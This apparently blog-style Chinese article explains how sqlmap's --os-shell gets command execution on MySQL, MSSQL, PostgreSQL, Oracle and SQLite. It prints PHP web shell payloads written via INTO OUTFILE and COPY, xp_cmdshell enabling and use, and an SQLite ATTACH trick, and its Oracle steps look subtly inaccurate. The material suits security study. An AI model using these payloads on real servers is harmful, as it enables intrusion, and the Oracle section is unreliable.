sqlmap --os-shell的原理(MySQL,MSSQL,PostgreSQL,Oracle,SQLite)

1. MySQL

条件
  • 数据库用户需要具备高权限(如 FILE 权限)。
  • 数据库服务运行用户需要对目标目录有写权限。
  • Web 服务器有可写目录,且支持执行上传的脚本(如 PHP、JSP 等)。
原理
  • 利用 MySQL 的 SELECT ... INTO OUTFILE 功能,将恶意代码写入目标 Web 目录,生成一个 Web Shell 文件。
  • 攻击者通过浏览器访问 Web Shell,获得命令执行能力。
流程
  1. 确认 FILE 权限:

    sql 复制代码
    SELECT * FROM mysql.user WHERE User='target_user';
  2. 写入 Web Shell 到目标目录:

    sql 复制代码
    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
  3. 通过浏览器访问 Web Shell 执行命令:

    bash 复制代码
    http://xxxxxx.com/shell.php?cmd=whoami

2. Microsoft SQL Server (MSSQL)

条件
  • 数据库用户需要 sysadmin 权限。
  • 目标服务器启用了扩展存储过程 xp_cmdshell
  • 数据库运行用户有命令执行权限。
原理
  • 调用 MSSQL 的 xp_cmdshell 存储过程,直接在操作系统中执行命令。
流程
  1. 确认是否启用了 xp_cmdshell

    sql 复制代码
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
  2. 利用 xp_cmdshell 执行命令:

    sql 复制代码
    EXEC xp_cmdshell 'whoami';
  3. 通过命令的输出或回显获取执行结果。


3. PostgreSQL

条件
  • 数据库用户需要对文件系统具有写权限。
  • 数据库支持使用 COPY 命令将数据写入文件。
  • 目标 Web 目录可写入文件,并允许脚本执行。
原理
  • 利用 PostgreSQL 的 COPY 功能,将 Web Shell 写入目标文件系统。
流程
  1. 写入 Web Shell:

    sql 复制代码
    COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
  2. 访问 Web Shell: http://xxxxx.com/shell.php?cmd=id


4. Oracle

条件
  • 数据库用户需要 CREATE LIBRARY 权限。
  • 数据库运行用户需要访问操作系统。
  • 利用外部过程或 Java 存储过程。
原理
  • 通过 Oracle 数据库的外部过程,调用操作系统命令。
  • 使用 Java 存储过程执行系统级操作。
流程
  1. 创建外部库(如 DLL 文件):

    sql 复制代码
    CREATE OR REPLACE LIBRARY mylib AS '/path/to/external/file';
  2. 调用外部过程执行命令:

    sql 复制代码
    DECLARE
        cmd VARCHAR2(1000);
    BEGIN
        cmd := 'ls';
        DBMS_SCHEDULER.CREATE_JOB(cmd);
    END;
  3. 读取命令执行结果。


5. SQLite

条件
  • SQLite 本身无法直接与操作系统交互。
  • 必须结合其他漏洞(如本地文件包含)实现 Web Shell。
原理
  • 利用 SQLite 的 ATTACH 或其他功能,尝试将恶意数据写入特定目录。
流程
  1. 写入数据:

    sql 复制代码
    ATTACH DATABASE '/var/www/html/shell.php' AS shell;
  2. 在 Web 服务器中访问生成的 Web Shell 文件。


总结表

数据库 条件 原理 流程简述
MySQL FILE 权限,Web 目录可写 写入 Web Shell 通过 SELECT ... INTO OUTFILE 写 Shell -> 访问 Shell -> 执行命令
MSSQL sysadmin 权限,启用 xp_cmdshell 使用 xp_cmdshell 直接执行系统命令 开启 xp_cmdshell -> 执行命令
PostgreSQL 写权限,Web 目录可访问 使用 COPY 写入 Web Shell 写 Shell -> 访问 Shell -> 执行命令
Oracle CREATE LIBRARY 权限,系统访问权限 使用外部库或 Java 存储过程调用系统命令 配置库 -> 调用命令
SQLite 结合其他漏洞(如文件包含) 写入恶意数据文件,结合其他漏洞(如 LFI)访问 写 Shell -> 结合 LFI 执行
相关推荐
爱基百客19 小时前
从人鼠到植物:SEdb 3.0数据库一站式检索与分析超级增强子调控网络
数据库·国自然·转录因子·组蛋白修饰·增强子
来来走走19 小时前
rocky linux 9.7安装mysql 8.4+
linux·数据库·mysql
怣5020 小时前
MySQL多表连接完全指南:内连接与外连接超详细讲解
数据库·sql·mysql
专注VB编程开发20年20 小时前
python图片验证码识别selenium爬虫--超级鹰实现自动登录,滑块,点击
数据库·python·mysql
智商偏低20 小时前
Postgresql导入几何数据(shp,geojson)的几种方式
数据库·postgresql
我是Superman丶20 小时前
在 PostgreSQL 中使用 JSONB 类型并结合 MyBatis-Plus 实现自动注入,主要有以下几种方案
数据库·postgresql·mybatis
五度易链-区域产业数字化管理平台20 小时前
「五度易链」行业标准信息数据库简介
大数据·数据库
qinyia20 小时前
通过本地构建解决Cartographer编译中absl依赖缺失问题
linux·运维·服务器·mysql·ubuntu
霖霖总总21 小时前
[小技巧65]深入 InnoDB 页的逻辑存储结构:16KB 页的逻辑全景解析
数据库·mysql
数研小生21 小时前
关键词搜索京东列表API技术对接指南
大数据·数据库·爬虫